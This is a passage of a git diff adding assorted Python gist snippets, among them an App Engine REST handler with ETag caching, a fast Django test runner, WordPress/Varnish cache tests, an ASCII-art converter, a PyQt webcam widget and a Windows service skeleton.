+    """Tests the input object, obj, to encode as JSON."""
+    if hasattr(obj, 'to_dict'):
+      return getattr(obj, 'to_dict')()
+    if isinstance(obj, ndb.query.Query):
+      return list(obj)
+    elif isinstance(obj, datetime.datetime):
+      return obj.isoformat()
+    elif isinstance(obj, time.struct_time):
+      return list(obj)
+    elif isinstance(obj, ndb.model.Key):
+      return obj.get()
+ 
+    return json.JSONEncoder.default(self, obj)
+ 
+def encode(input):
+  """ 
+  Encode an input Model object as JSON
+    Args:
+      input: A Model object or DB property.
+    Returns:
+      A JSON string based on the input object. 
+    Raises:
+      TypeError: Typically occurs when an input object contains an unsupported
+        type.
+  """
+  return ModelEncoder().encode(input)
+
+class MemcacheHolder:
+  def __init__(self,etag,last_modified,data):
+    self.etag = etag
+    self.last_modified = last_modified
+    self.data = data
+
+class RestHandler(webapp2.RequestHandler):
+  def get_etag(self):
+    request_etag = None
+    if 'If-None-Match' in self.request.headers:
+      request_etag = self.request.headers['If-None-Match']
+      if request_etag.startswith('"') and request_etag.endswith('"'):
+        request_etag = request_etag[1:-1]
+    return request_etag
+
+  def get_last_modified(self):
+    if 'If-Modified-Since' in self.request.headers:
+      text = self.request.headers['If-Modified-Since']
+      return datetime.datetime(*email.utils.parsedate(text)[:6])
+    return None
+
+  # Wed, 22 Oct 2008 10:52:40 GMT
+  def time_to_rfc1123(self, target):
+    stamp = time.mktime(target.timetuple())
+    return email.utils.formatdate(timeval=stamp, localtime=False, usegmt=True)
+
+  def response_json(self, encoded):
+    self.response.headers['Content-Type'] = 'application/json'
+    self.response.out.write(encoded)
+
+  def response_object(self, obj):
+    self.response_json(encode(obj))
+
+  def response_error(self, status, status_message, code, message, errors):
+    self.response.status_int = status
+    self.response.status_message = status_message
+    self.response.status = str(status) + status_message
+
+    obj = { 'code': code,
+            'message': message,
+            'errors' : errors
+          }
+    self.response_object(obj)
+
+  def response_bad_request(self, code, message, errors):
+    self.response_error(400, "Bad Request", code, message, errors)
+  def response_unauthorized(self, code, message, errors):
+    self.response_error(401, "Unauthorized", code, message, errors)
+  def response_forbidden(self, code, message, errors):
+    self.response_error(403, "Forbidden", code, message, errors)
+  def response_not_found(self, code, message, errors):
+    self.response_error(404, "Not Found", code, message, errors)
+  def response_not_modified(self, etag, last_modified):
+    if etag:
+      self.response.headers["Etag"] = etag
+      #self.response.etag = etag
+    if last_modified:
+      self.response.headers["Last-Modified"] = self.time_to_rfc1123(last_modified)
+    self.response.status_int = 304
+    self.response.status_message = "Not Modified"
+    self.response.status = "304 Not Modified"
+
+class MyApiHandler(RestHandler):
+  @auth_required
+  def get(self):
+    self.response.headers["Cache-Control"] = "must-revalidate, max-age=0"
+
+    holder = memcache.get('mymodel_all')
+    if holder is None:
+      models = MyModel.query().order(MyNodel.updated).fetch()
+      data = encode(models)
+      etag = hashlib.md5(data).hexdigest()
+      last_modified = models[0].updated if len(models) > 0 else datetime.datetime.now()
+      holder = MemcacheHolder(etag, last_modified, data)
+      memcache.add('mymodel_all', holder)
+
+    # validate last-modified : if-modified-since
+    request_last = self.get_last_modified()
+    if request_last is not None:
+      if holder.last_modified - request_last < datetime.timedelta(seconds=1):
+        return self.response_not_modified(etag=holder.etag,
+                                    last_modified=holder.last_modified)
+
+    # validate the etag : if-none-match
+    request_etag = self.get_etag()
+    if request_etag is not None:
+      if request_etag == holder.etag: #matched
+        return self.response_not_modified(etag=holder.etag,
+                                    last_modified=holder.last_modified)
+
+    self.response_json(holder.data)
+    #self.response.md5_etag()
+    self.response.headers["Etag"] = holder.etag
+    self.response.headers["Last-Modified"] = self.time_to_rfc1123(holder.last_modified)
diff --git a/hard-gists/1044215/._snippet.py b/hard-gists/1044215/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1044215/._snippet.py differ
diff --git a/hard-gists/1044215/snippet.py b/hard-gists/1044215/snippet.py
new file mode 100644
index 00000000..6e25f6f3
--- /dev/null
+++ b/hard-gists/1044215/snippet.py
@@ -0,0 +1,65 @@
+# -*- coding: utf-8 -*-
+"""
+Extremely fast Django test runner, based on the idea that your database schema
+and fixtures are changed much more seldom that your code and tests.  All you
+need is to make sure that your "quickstart.sqlite" database file is always up
+to date.
+
+BEWARE: Don't run this test runner on production server. It assumes that you 
+use only one database configured as "default", and its db engine is SQLite.
+Otherwise your tests can eat your data!
+
+How to use it:
+
+1. Make sure that APSW (another python SQLite wrapper) is installed. Usually
+   it's enough to say:
+
+    apt-get install python-apsw
+
+2. Include this file somewhere in your project
+
+3. Create database alias named "quickstart" with sqlite3 backend in your
+   settings.py:
+
+    DATABASES = {
+         ..
+        'quickstart': {
+            'ENGINE': 'django.db.backends.sqlite3',
+            'NAME': '.../quickstart.sqlite',
+        },
+    }
+
+4. Type ./manage.py syncdb --database quickstart once and make sure that file
+   "quickstart.sqlite" has appeared
+
+5. Redefine variable TEST_RUNNER in the settings.py .
+
+    TEST_RUNNER = 'yourproject.yourapp.tests.runner.TestSuiteRunner'
+
+6. Run a single test and be amazed how fast it is now.
+
+If your schema and/or fixtures have changed, just remove quickstart.sqlite and
+recreate it with syncdb command.
+"""
+import apsw
+from django.test.simple import DjangoTestSuiteRunner
+from django.db import connections
+
+class TestSuiteRunner(DjangoTestSuiteRunner):
+
+    def setup_databases(self, **kwargs):
+        quickstart_connection = connections['quickstart']
+        quickstart_dbname = quickstart_connection.settings_dict['NAME']
+        
+        memory_connection = apsw.Connection(':memory:')
+        quickstart_connection = apsw.Connection(quickstart_dbname)
+        with memory_connection.backup('main', quickstart_connection, 'main') as backup:
+            while not backup.done:
+                backup.step(100)
+                
+        connection = connections['default']
+        connection.settings_dict['NAME'] = memory_connection
+        cursor = connection.cursor()
+
+    def teardown_databases(self, old_config, **kwargs):
+        pass
\ No newline at end of file
diff --git a/hard-gists/1045108/._snippet.py b/hard-gists/1045108/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1045108/._snippet.py differ
diff --git a/hard-gists/1045108/snippet.py b/hard-gists/1045108/snippet.py
new file mode 100644
index 00000000..2c8f8a36
--- /dev/null
+++ b/hard-gists/1045108/snippet.py
@@ -0,0 +1,25 @@
+from selenium import selenium
+from scrapy.spider import BaseSpider
+from scrapy.http import Request
+import time
+import lxml.html
+
+class SeleniumSprider(BaseSpider):
+    name = "selenium"
+    allowed_domains = ['selenium.com']
+    start_urls = ["http://localhost"]
+    
+    def __init__(self,  **kwargs):
+        print kwargs
+        self.sel = selenium("localhost", 4444, "*firefox","http://selenium.com/")
+        self.sel.start()
+    
+    def parse(self, response):
+        sel = self.sel
+        sel.open("/index.aspx")
+        sel.click("id=radioButton1")
+        sel.select("genderOpt", "value=male")
+        sel.type("nameTxt", "irfani")
+        sel.click("link=Submit")
+        time.sleep(1) #wait a second for page to load
+        root = lxml.html.fromstring(sel.get_html_source())
\ No newline at end of file
diff --git a/hard-gists/10491632/._snippet.py b/hard-gists/10491632/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10491632/._snippet.py differ
diff --git a/hard-gists/10491632/snippet.py b/hard-gists/10491632/snippet.py
new file mode 100644
index 00000000..e7d24241
--- /dev/null
+++ b/hard-gists/10491632/snippet.py
@@ -0,0 +1,14 @@
+import sys; from PIL import Image; import numpy as np
+
+chars = np.asarray(list(' .,:;irsXA253hMHGS#9B&@'))
+
+if len(sys.argv) != 4: print( 'Usage: ./asciinator.py image scale factor' ); sys.exit()
+f, SC, GCF, WCF = sys.argv[1], float(sys.argv[2]), float(sys.argv[3]), 7/4
+
+img = Image.open(f)
+S = ( round(img.size[0]*SC*WCF), round(img.size[1]*SC) )
+img = np.sum( np.asarray( img.resize(S) ), axis=2)
+img -= img.min()
+img = (1.0 - img/img.max())**GCF*(chars.size-1)
+
+print( "\n".join( ("".join(r) for r in chars[img.astype(int)]) ) )
\ No newline at end of file
diff --git a/hard-gists/1052286/._snippet.py b/hard-gists/1052286/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1052286/._snippet.py differ
diff --git a/hard-gists/1052286/snippet.py b/hard-gists/1052286/snippet.py
new file mode 100644
index 00000000..958b70ec
--- /dev/null
+++ b/hard-gists/1052286/snippet.py
@@ -0,0 +1,372 @@
+#!/usr/bin/env python
+
+import cookielib
+import json
+import re
+import random
+import unittest
+
+import requests
+from wordpress_xmlrpc import Client, WordPressComment, WordPressPost
+from wordpress_xmlrpc.methods.posts import EditPost, DeletePost, GetPost, NewPost
+from wordpress_xmlrpc.methods.comments import EditComment, DeleteComment, NewComment
+
+DOMAIN = 'chicagonow.dev'
+USERNAME = 'admin'
+PASSWORD = 'password'
+TEST_BLOG = 'cta-tattler'
+
+MAX_AGE_REGEX = re.compile('max-age\s*=\s*(\d+)')
+
+def build_url(path):
+    """
+    Construct an absolute url by appending a path to a domain.
+    """
+    return 'http://%s%s' % (DOMAIN, path)
+
+class TestCachingBase(unittest.TestCase):
+    """
+    Base class Wordpress + Varnish TestCases.
+
+    Provides utils for login/logout and asserting hits/misses.
+    """
+    def login(self):
+        """
+        Login and return a cookie jar holding the login cookie.
+        """
+        cookies = cookielib.CookieJar()
+        response = requests.post(
+            build_url('/wp-admin/admin-ajax.php'),
+            cookies=cookies,
+            data = {
+                'action': 'chicagonow',
+                'url': 'users/login',
+                'data': '{"user_email":"%s","user_pass":"%s"}' % (USERNAME, PASSWORD)
+            }
+        )
+
+        self.assertEqual(response.status_code, 200)
+        self.assertMiss(response)
+
+        return cookies 
+
+    def logout(self, cookies):
+        """
+        Logout and return a now-empty cookie jar.
+        """
+        response = requests.post(
+            build_url('/wp-admin/admin-ajax.php'),
+            cookies=cookies,
+            data = {
+                'action': 'chicagonow',
+                'url': 'users/logout'
+            }
+        )
+
+        self.assertEqual(response.status_code, 200)
+        self.assertMiss(response) 
+
+        response_json = json.loads(response.read())
+        self.assertEqual(response_json['logged_out'], True)
+
+        return cookies
+
+    def get_xmlrpc(self, blog=None):
+        """
+        Fetch an XML-RPC client for a given blog (or the root blog).
+        """
+        if blog:
+            path = '/%s/xmlrpc.php' % blog
+        else:
+            path = '/xmlrpc.php'
+
+        return Client(build_url(path), USERNAME, PASSWORD)
+
+    def new_post(self, blog):
+        """
+        Create a new post.
+        """
+        xmlrpc = self.get_xmlrpc(blog) 
+        post = WordPressPost()
+        post.title = 'New post from api'
+        post.description = 'New description'
+        return xmlrpc.call(NewPost(post, True))
+
+    def edit_post(self, blog, post_id):
+        """
+        Edit a post.
+        """
+        xmlrpc = self.get_xmlrpc(blog)
+        post = WordPressPost()
+        post.title = 'Edited post from api'
+        post.description = 'Edited description'
+        return xmlrpc.call(EditPost(post_id, post, True))
+
+    def delete_post(self, blog, post_id):
+        """
+        Delete a post.
+        """
+        xmlrpc = self.get_xmlrpc(blog)
+        return xmlrpc.call(DeletePost(post_id))
+
+    def get_post(self, blog, post_id):
+        """
+        Fetch a post object.
+        """
+        xmlrpc = self.get_xmlrpc(blog)
+        return xmlrpc.call(GetPost(post_id))
+
+    def new_comment(self, blog, post_id):
+        """
+        Create a new comment.
+        """
+        xmlrpc = self.get_xmlrpc(blog) 
+        comment = WordPressComment()
+        comment.content = 'Test comment from api. (%s)' % str(random.random() * 99999999)
+        return xmlrpc.call(NewComment(post_id, comment))
+
+    def edit_comment(self, blog, comment_id):
+        """
+        Edit a comment.
+        """
+        xmlrpc = self.get_xmlrpc(blog) 
+        comment = WordPressComment()
+        comment.content = 'Edited comment from api. (%s)' % str(random.random() * 99999999)
+        return xmlrpc.call(EditComment(comment_id, comment))
+
+    def delete_comment(self, blog, comment_id):
+        """
+        Delete a comment.
+        """
+        xmlrpc = self.get_xmlrpc(blog)
+        return xmlrpc.call(DeleteComment(comment_id))
+
+    def get_twice(self, url, **kwargs):
+        """
+        Fetch a url twice and return the second response (for testing cache hits).
+        """
+        requests.get(url, **kwargs)
+        response = requests.get(url, **kwargs)
+
+        return response
+
+    def assertHit(self, response):
+        """
+        Assert that a given response contains the header indicating a cache hit.
+        """
+        self.assertEqual(response.headers['X-Cache'], 'Hit')
+
+    def assertMiss(self, response):
+        """
+        Assert that a given response contains the header indicating a cache miss.
+        """
+        self.assertEqual(response.headers['X-Cache'], 'Miss')
+
+    def assertMaxAge(self, response, value):
+        """
+        Assert that a given response contains the header indicating specific "max-age" value.
+        """
+        try:
+            cache_control = response.headers['cache-control']
+        except KeyError:
+            try:
+                cache_control = response.headers['Cache-Control']
+            except:
+                raise AssertionError('No cache-control header.')
+
+        max_age = MAX_AGE_REGEX.match(cache_control)
+
+        if not max_age:
+            raise AssertionError('No max-age specified in cache-control header.')
+
+        self.assertEqual(int(max_age.group(1)), value)
+
+class TestLoggedIn(TestCachingBase):
+    """
+    Tests for logged-in users.
+    """
+    def setUp(self):
+        self.cookies = self.login()
+
+    def test_homepage(self):
+        url = build_url('/')
+
+        response = self.get_twice(url, cookies=self.cookies)
+
+        self.assertHit(response)
+
+    def test_post_preview(self):
+        url = build_url('/2400-north1200-west/?p=4&preview=true&url=preview/4')
+
+        response = requests.get(url, cookies=self.cookies)
+
+        self.assertMiss(response)
+
+class TestLoggedOut(TestCachingBase):
+    """
+    Tests for logged-out users.
+    """
+    def test_homepage(self):
+        url = build_url('/')
+
+        response = self.get_twice(url)
+
+        self.assertHit(response)
+        self.assertMaxAge(response, 300)
+
+    def test_homepage_login_logout(self):        
+        url = build_url('/')
+
+        cookies = self.login()
+        cookies = self.logout(cookies)
+
+        response = self.get_twice(url, cookies=cookies)
+
+        self.assertHit(response)
+
+    def test_search(self):
+        url = build_url('/search/')
+
+        response = self.get_twice(url, params={ 'blog_s': 'test' })
+
+        self.assertMiss(response)
+
+    def test_static_content(self):
+        url = build_url('/wp-content/themes/chicagonow/images/home-logo.png')
+
+        response = self.get_twice(url)
+
+        self.assertHit(response)
+        self.assertMaxAge(response, 604800)
+
+    def test_avatar(self):
+        url = build_url('/avatar/user-1-16.png')
+
+        response = self.get_twice(url)
+
+        self.assertHit(response)
+        self.assertMaxAge(response, 604800)
+
+    def test_ajax_users(self):
+        url = build_url('/wp-admin/admin-ajax.php')
+        data = {
+            'action': 'chicagonow',
+            'url': 'users',
+            'data': 'null'
+        }
+
+        response = self.get_twice(url, data=data)
+
+        self.assertMiss(response)
+
+    def test_ajax_comment_form(self):
+        url = build_url('/wp-admin/admin-ajax.php')
+        data = {
+            'action': 'commentform',
+            'data': '{ "post_id": 61 }'
+        }
+
+        response = self.get_twice(url, data=data)
+
+        self.assertMiss(response)
+
+    def test_new_post(self):
+        url = build_url('/%s/' % TEST_BLOG)
+
+        response = self.get_twice(url)
+        self.assertHit(response)
+
+        self.new_post(TEST_BLOG)
+
+        response = requests.get(url)
+        self.assertMiss(response)
+
+    def test_edit_post(self):
+        url = build_url('/%s/' % TEST_BLOG)
+
+        post_id = self.new_post(TEST_BLOG)
+
+        response = self.get_twice(url)
+        self.assertHit(response)
+
+        self.edit_post(TEST_BLOG, post_id)
+
+        response = requests.get(url)
+        self.assertMiss(response)
+
+    def test_delete_post(self):
+        url = build_url('/%s/' % TEST_BLOG)
+
+        post_id = self.new_post(TEST_BLOG)
+
+        response = self.get_twice(url)
+        self.assertHit(response)
+
+        self.delete_post(TEST_BLOG, post_id)
+
+        response = requests.get(url)
+        self.assertMiss(response)
+
+    def test_preview_post(self):
+        post_id = self.new_post(TEST_BLOG)
+        post = self.get_post(TEST_BLOG, post_id)
+
+        response = self.get_twice('%s?preview=true' % post.permalink)
+        self.assertMiss(response)
+
+    def test_new_comment(self):
+        post_id = self.new_post(TEST_BLOG)
+        post = self.get_post(TEST_BLOG, post_id)
+
+        response = self.get_twice(post.permalink)
+        self.assertHit(response)
+
+        self.new_comment(TEST_BLOG, post_id)
+
+        response = requests.get(post.permalink)
+        self.assertMiss(response)
+
+    def test_edit_comment(self):
+        post_id = self.new_post(TEST_BLOG)
+        post = self.get_post(TEST_BLOG, post_id)
+        
+        comment_id = self.new_comment(TEST_BLOG, post_id)
+
+        response = self.get_twice(post.permalink)
+        self.assertHit(response)
+
+        self.edit_comment(TEST_BLOG, comment_id)
+
+        response = requests.get(post.permalink)
+        self.assertMiss(response)
+
+    def test_delete_comment(self):
+        post_id = self.new_post(TEST_BLOG)
+        post = self.get_post(TEST_BLOG, post_id)
+        
+        comment_id = self.new_comment(TEST_BLOG, post_id)
+
+        response = self.get_twice(post.permalink)
+        self.assertHit(response)
+
+        self.delete_comment(TEST_BLOG, comment_id)
+
+        response = requests.get(post.permalink)
+        self.assertMiss(response)
+
+    def test_new_comments_purge_too_much(self):
+        # Comments were incorrectly busting site root
+        post_id = self.new_post(TEST_BLOG)
+
+        url = build_url('/')
+
+        response = self.get_twice(url)
+        self.assertHit(response)
+
+        self.new_comment(TEST_BLOG, post_id)
+
+        response = requests.get(url)
+        self.assertHit(response)
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/hard-gists/1054969/._snippet.py b/hard-gists/1054969/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1054969/._snippet.py differ
diff --git a/hard-gists/1054969/snippet.py b/hard-gists/1054969/snippet.py
new file mode 100644
index 00000000..1e5640d7
--- /dev/null
+++ b/hard-gists/1054969/snippet.py
@@ -0,0 +1,56 @@
+import Rhino
+
+class DrainBoid(object):
+    def __init__(self, point3d, surface, stepsize=0.5, maxsteps=None, tolerance=0.001):
+        self.start = point3d
+        self.pos = self.start
+        result, self.u, self.v = surface.ClosestPoint(self.pos)
+        self.surface = surface
+        self.stepsize = stepsize
+        self.points = [self.start]
+        self.state = 'on'
+        self.tolerance = tolerance
+        self.maxsteps = maxsteps
+
+    def makeDrainCurve(self):
+        i = 0
+        while self.state == 'on':
+            i += 1
+            if self.maxsteps:
+                if i >= self.maxsteps:
+                    self.state = 'finished'
+            self.nextStep()
+        return Rhino.Geometry.Curve.CreateControlPointCurve(self.points, 1)
+
+    def nextStep(self):
+        result, newFrame = self.surface.FrameAt(self.u, self.v)
+        # create a vector from newFrame XAxis
+        downVect = newFrame.XAxis
+        # figure out hw far to rotate it.
+        deltaAngle = Rhino.Geometry.Vector3d.VectorAngle( downVect, Rhino.Geometry.Vector3d(0.0, 0.0, -1.0), newFrame )
+        # rotate it in the plane
+        downVect.Rotate( deltaAngle, newFrame.ZAxis)
+        # set the length
+        downVect = downVect.Multiply( self.stepsize, downVect )
+        spacePoint = Rhino.Geometry.Point3d.Add(self.pos, downVect)
+        result, self.u, self.v = self.surface.ClosestPoint(spacePoint)
+        out, newPoint, vects = self.surface.Evaluate(self.u, self.v, 0)
+        if newPoint.Z >= self.pos.Z: # if higher
+            self.state = 'finished'
+        elif not self.checkTolerance(newPoint): # if too close
+            self.state = 'finished'
+        else:
+            self.updatePos( newPoint )
+
+    def updatePos(self, newPoint):
+        self.points.append(newPoint)
+        self.pos = newPoint
+
+    def checkTolerance(self, other):
+        # checks against another point
+        # if it is outside of tolerance, returns True
+        return self.pos.DistanceTo( other ) > self.tolerance
+
+if terrainSurface:
+    b = DrainBoid(startPoint, terrainSurface, stepSize, maxSteps, tol)
+    a = b.makeDrainCurve()
\ No newline at end of file
diff --git a/hard-gists/1055161/._snippet.py b/hard-gists/1055161/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1055161/._snippet.py differ
diff --git a/hard-gists/1055161/snippet.py b/hard-gists/1055161/snippet.py
new file mode 100644
index 00000000..b3c4dc14
--- /dev/null
+++ b/hard-gists/1055161/snippet.py
@@ -0,0 +1,80 @@
+# coding=utf8
+
+# Copyright (C) 2011 Saúl Ibarra Corretgé <saghul@gmail.com>
+#
+
+# Some inspiration taken from: http://www.morethantechnical.com/2009/03/05/qt-opencv-combined-for-face-detecting-qwidgets/
+
+import cv
+import sys
+
+from PyQt4.QtCore import QPoint, QTimer
+from PyQt4.QtGui import QApplication, QImage, QPainter, QWidget
+
+
+class IplQImage(QImage):
+    """
+    http://matthewshotton.wordpress.com/2011/03/31/python-opencv-iplimage-to-pyqt-qimage/
+    A class for converting iplimages to qimages
+    """
+
+    def __init__(self,iplimage):
+        # Rough-n-ready but it works dammit
+        alpha = cv.CreateMat(iplimage.height,iplimage.width, cv.CV_8UC1)
+        cv.Rectangle(alpha, (0, 0), (iplimage.width,iplimage.height), cv.ScalarAll(255) ,-1)
+        rgba = cv.CreateMat(iplimage.height, iplimage.width, cv.CV_8UC4)
+        cv.Set(rgba, (1, 2, 3, 4))
+        cv.MixChannels([iplimage, alpha],[rgba], [
+        (0, 0), # rgba[0] -> bgr[2]
+        (1, 1), # rgba[1] -> bgr[1]
+        (2, 2), # rgba[2] -> bgr[0]
+        (3, 3)  # rgba[3] -> alpha[0]
+        ])
+        self.__imagedata = rgba.tostring()
+        super(IplQImage,self).__init__(self.__imagedata, iplimage.width, iplimage.height, QImage.Format_RGB32)
+
+
+class VideoWidget(QWidget):
+    """ A class for rendering video coming from OpenCV """
+
+    def __init__(self, parent=None):
+        QWidget.__init__(self)
+        self._capture = cv.CreateCameraCapture(0)
+        # Take one frame to query height
+        frame = cv.QueryFrame(self._capture)
+        self.setMinimumSize(frame.width, frame.height)
+        self.setMaximumSize(self.minimumSize())
+        self._frame = None
+        self._image = self._build_image(frame)
+        # Paint every 50 ms
+        self._timer = QTimer(self)
+        self._timer.timeout.connect(self.queryFrame)
+        self._timer.start(50)
+
+    def _build_image(self, frame):
+        if not self._frame:
+            self._frame = cv.CreateImage((frame.width, frame.height), cv.IPL_DEPTH_8U, frame.nChannels)
+        if frame.origin == cv.IPL_ORIGIN_TL:
+            cv.Copy(frame, self._frame)
+        else:
+            cv.Flip(frame, self._frame, 0)
+        return IplQImage(self._frame)
+
+    def paintEvent(self, event):
+        painter = QPainter(self)
+        painter.drawImage(QPoint(0, 0), self._image)
+
+    def queryFrame(self):
+        frame = cv.QueryFrame(self._capture)
+        self._image = self._build_image(frame)
+        self.update()
+
+
+if __name__ == '__main__':
+    app = QApplication(sys.argv)
+
+    widget = VideoWidget()
+    widget.setWindowTitle('PyQt - OpenCV Test')
+    widget.show()
+
+    sys.exit(app.exec_())
diff --git a/hard-gists/10554232/._snippet.py b/hard-gists/10554232/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10554232/._snippet.py differ
diff --git a/hard-gists/10554232/snippet.py b/hard-gists/10554232/snippet.py
new file mode 100644
index 00000000..f232d9c6
--- /dev/null
+++ b/hard-gists/10554232/snippet.py
@@ -0,0 +1,51 @@
+import win32serviceutil
+import win32service
+import win32event
+import servicemanager
+import socket
+import time
+import logging
+
+logging.basicConfig(
+    filename = 'c:\\Temp\\hello-service.log',
+    level = logging.DEBUG, 
+    format = '[helloworld-service] %(levelname)-7.7s %(message)s'
+)
+
+class HelloWorldSvc (win32serviceutil.ServiceFramework):
+    _svc_name_ = "HelloWorld-Service"
+    _svc_display_name_ = "HelloWorld Service"
+    
+    def __init__(self,args):
+        win32serviceutil.ServiceFramework.__init__(self,args)
+        self.stop_event = win32event.CreateEvent(None,0,0,None)
+        socket.setdefaulttimeout(60)
+        self.stop_requested = False
+
+    def SvcStop(self):
+        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
+        win32event.SetEvent(self.stop_event)
+        logging.info('Stopping service ...')
+        self.stop_requested = True
+
+    def SvcDoRun(self):
+        servicemanager.LogMsg(
+            servicemanager.EVENTLOG_INFORMATION_TYPE,
+            servicemanager.PYS_SERVICE_STARTED,
+            (self._svc_name_,'')
+        )
+        self.main()
+
+    def main(self):
+        logging.info(' ** Hello PyWin32 World ** ')
+        # Simulate a main loop
+        for i in range(0,50):
+            if self.stop_requested:
+                logging.info('A stop signal was received: Breaking main loop ...')
+                break
+            time.sleep(5)
+            logging.info("Hello at %s" % time.ctime())
+        return
+
+if __name__ == '__main__':
+    win32serviceutil.HandleCommandLine(HelloWorldSvc)
\ No newline at end of file
diff --git a/hard-gists/1055992/._snippet.py b/hard-gists/1055992/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1055992/._snippet.py differ
diff --git a/hard-gists/1055992/snippet.py b/hard-gists/1055992/snippet.py
new file mode 100644
index 00000000..d3bd6e9a
--- /dev/null
+++ b/hard-gists/1055992/snippet.py
@@ -0,0 +1,10 @@
+from django.db.models.query import EmptyQuerySet
+
+class FakeQuerySet(EmptyQuerySet):
+    """Turn a list into a Django QuerySet... kind of."""
+    def __init__(self, model=None, query=None, using=None, items=[]):
+        super(FakeQuerySet, self).__init__(model, query, using)
+        self._result_cache = items
+
+    def count(self):
+        return len(self)
diff --git a/hard-gists/10567484/._snippet.py b/hard-gists/10567484/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10567484/._snippet.py differ
diff --git a/hard-gists/10567484/snippet.py b/hard-gists/10567484/snippet.py
new file mode 100644
index 00000000..56e38824
--- /dev/null
+++ b/hard-gists/10567484/snippet.py
@@ -0,0 +1,55 @@
+# This line imports the modules we will need. The first is the sys module used
+# to read the command line arguments. Second the Python Imaging Library to read
+# the image and third numpy, a linear algebra/vector/matrix module.
+import sys; from PIL import Image; import numpy as np
+
+# This is a list of characters from low to high "blackness" in order to map the
+# intensities of the image to ascii characters 
+chars = np.asarray(list(' .,:;irsXA253hMHGS#9B&@'))
+ 
+# Check whether all necessary command line arguments were given, if not exit and show a
+# usage hint. Since the original comment will also be counted as argument we need 4.
+if len(sys.argv) != 4: print( 'Usage: ./asciinator.py image scale factor' ); sys.exit()
+
+# Get some important constants like the filename f, the image size scaling SC and a
+# intensity correction factor from the command line arguments. The WCF is a width correction
+# factor we will use since most font characters are higher than wide. 
+f, SC, GCF, WCF = sys.argv[1], float(sys.argv[2]), float(sys.argv[3]), 7/4
+
+# This line opens the image 
+img = Image.open(f)
+
+# here we set the new size of the image. The whole image is scaled by the scale factor given
+# in the command line arguments and we also correct the image with the width correction factor
+# so that the resulting asciii image has approximately the same aspect ratio as the original
+# image.
+S = ( round(img.size[0]*SC*WCF), round(img.size[1]*SC) )
+
+# Here we resize the image and add up the rgb values of the image to get the overall intensity
+# values for each pixel.
+img = np.sum( np.asarray( img.resize(S) ), axis=2)
+
+# Here we scale the smallest intensity value to zero
+img -= img.min()
+# We divide the intensity values by it maximum so all intensities are now between 0 and 1. We invert
+# the intensity scale by subtracting it from one, so that the whitest pixels map to the space character
+# and the darkest pixels to the @ character. The now scaled intensities are now raised to the power of the
+# intensity correction factor GCF which alters the intensity histogram of the image and, thus, gives some
+# some freedom to counteract very dark or light images. A CGF of 1 gives the original pixel intensities. 
+# Finally the scaled intensities are multiplied with the biggest index of the character array chars (n-1)
+# and, later, truncated to int which basically maps every intensity value of the original image to an index 
+# of the ascii character array. 
+img = (1.0 - img/img.max())**GCF*(chars.size-1)
+ 
+# Here we assemble and print our ascii art. The image is truncated to int and the entire image matrix is passed
+# as an index to the character array. This is possible because numpy actually allows indices to be vectors or matrices
+# where the output will have the same dimensions of the matrix "filtered" by the indexed vector. For example, if
+#
+#
+#     v = array(['a', 'b', 'c', 'd']) and M = array( [[0, 1],     it follows that v[M] = [['a', 'b'],  
+#                                                     [2, 3]] )                           ['c', 'd']]
+#
+# In the inner generator we combine the characters of each row (r) of the now ascii-mapped image to a single string
+# and in the outer join we combine all of the row characters by gluing them with together with newline characters.
+# All of that is printed and done :) 
+print( "\n".join( ("".join(r) for r in chars[img.astype(int)]) ) )
\ No newline at end of file
diff --git a/hard-gists/10589494/._snippet.py b/hard-gists/10589494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/10589494/._snippet.py differ
diff --git a/hard-gists/10589494/snippet.py b/hard-gists/10589494/snippet.py
new file mode 100644
index 00000000..7e6a114d
--- /dev/null
+++ b/hard-gists/10589494/snippet.py
@@ -0,0 +1,21 @@
+import uuid
+
+from imagekit.models import ImageSpecField
+from imagekit.processors import ResizeToFill, Transpose, SmartResize
+
+def get_file_path(instance, filename):
+  ext = filename.split('.')[-1]
+  filename = "%s.%s" % (uuid.uuid4(), ext)
+  return os.path.join('upload/images/avatar', filename)
+
+class UserProfile(models.Model):
+  avatar = models.ImageField(upload_to=get_file_path, max_length=255, blank=True, null=True)
+  avatar_thumbnail = ImageSpecField(
+    source='avatar',
+    processors = [Transpose(),SmartResize(200, 200)],
+    format = 'JPEG',
+    options = {'quality': 80}
+  )
+  
+  def profile_image_url(self):
+    return "{}".format(self.user.profile.avatar_thumbnail.url)
\ No newline at end of file
diff --git a/hard-gists/1059647/._snippet.py b/hard-gists/1059647/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1059647/._snippet.py differ
diff --git a/hard-gists/1059647/snippet.py b/hard-gists/1059647/snippet.py
new file mode 100644
index 00000000..591549ed
--- /dev/null
+++ b/hard-gists/1059647/snippet.py
@@ -0,0 +1,195 @@
+# -*- coding: utf-8 -*-
+from __future__ import absolute_import
+import datetime
+from ndb import model
+from webapp2_extends.utils import Unique, UniqueConstraintViolation, \
+     check_password_hash, generate_password_hash
+from webapp2_extends.auth import create_session_id
+
+DEBUG = True
+
+class User(model.Model):
+    """Universal user model. Can be used with App Engine's default users API,
+    own auth or third party authentication methods (OpenId, OAuth etc).
+    """
+    #: Creation date.
+    created = model.DateTimeProperty(auto_now_add=True)
+    #: Modification date.
+    updated = model.DateTimeProperty(auto_now=True)
+    #: User defined unique name, also used as key_name.
+    username = model.StringProperty(required=True)
+    #: Password, only set for own authentication.
+    password = model.StringProperty(required=False)
+    #: User email
+    email = model.StringProperty(required=False)
+    # Admin flag.
+    is_admin = model.BooleanProperty(default=False)
+    #: Authentication identifier according to the auth method in use. Examples:
+    #: * own|username
